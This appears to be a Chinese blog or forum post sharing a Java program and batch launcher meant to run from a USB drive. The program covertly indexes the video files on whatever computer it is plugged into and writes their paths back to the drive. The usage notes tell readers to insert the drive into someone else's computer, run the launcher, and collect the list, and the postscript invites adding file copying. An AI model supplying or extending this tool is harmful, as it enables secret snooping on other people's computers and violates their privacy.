---------------------------------------------------------------------------------------------------------------------------------------
如果转载请备注作者:shany
如果转载请备注作者:shany
---------------------------------------------------------------------------------------------------------------------------------------
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
public class T4 {
static String path="";
public static void main(String[] args) throws Exception {
path=show_path()+"shanshan.txt";
// for(File file:File.listRoots())
// readAll(file);
if(File.listRoots().length>2)
for(int i=1;i<File.listRoots().length-1;i++){
readAll(File.listRoots()[i]);
}
else
readAll(File.listRoots()[0]);
}
//遍历文件
public static void readAll(File source) throws IOException{
if(source.isDirectory()){
if(source.listFiles()!=null&&source.listFiles().length!=0)
for(File file :source.listFiles())
readAll(file);
}
// System.out.println(source);
if(source.isFile()&&useFile(source.toString()))//
writeTxt(source.toString()+"\r\n",path);
}
//获得U盘目录
public static String show_path() {
return new File("").getAbsolutePath().substring(0, 3);
// 获取当前文件的盘符// return File.listRoots()[File.listRoots().length -1].toString();
}
//写入
public static void writeTxt(String info,String path) throws IOException{
FileWriter fileWriter=new FileWriter(path,true);
fileWriter.write(info);
fileWriter.flush();
fileWriter.close();
}
//判断文件格式是否符合要求
public static boolean useFile(String pa){
String item="^.+\\.(mp3)?(mp4)?(rmvb)?(avi)?(wmv)?(3gp)?(mtv)?(mov)?(flv)?(rm)?$";
if(pa.matches(item))
return true;
return false;
}
}
-------------------------------------------------------------------------------------------------------------------------------------
//将该java文件放在U盘根目录,同时在根目录下通过记事本建立一个hi.bat文件 //以下为hi.bat里面的代码 javac T4.java java T4 --------------------------------------------------------------------------------------------------------------------------------------- 使用说明:把U盘插入别人电脑里,然后双击hi.bat格式文件即可,等待几分钟后,拔掉U盘,直接查看U盘跟目录下的shanshan.txt文件即可获得所需信息。 PS:加入文件复制功能太过分了,大佬想的话自己加上去。。。 --------------------------------------------------------------------------------------------------------------------------------------- 如果转载请备注作者:shany |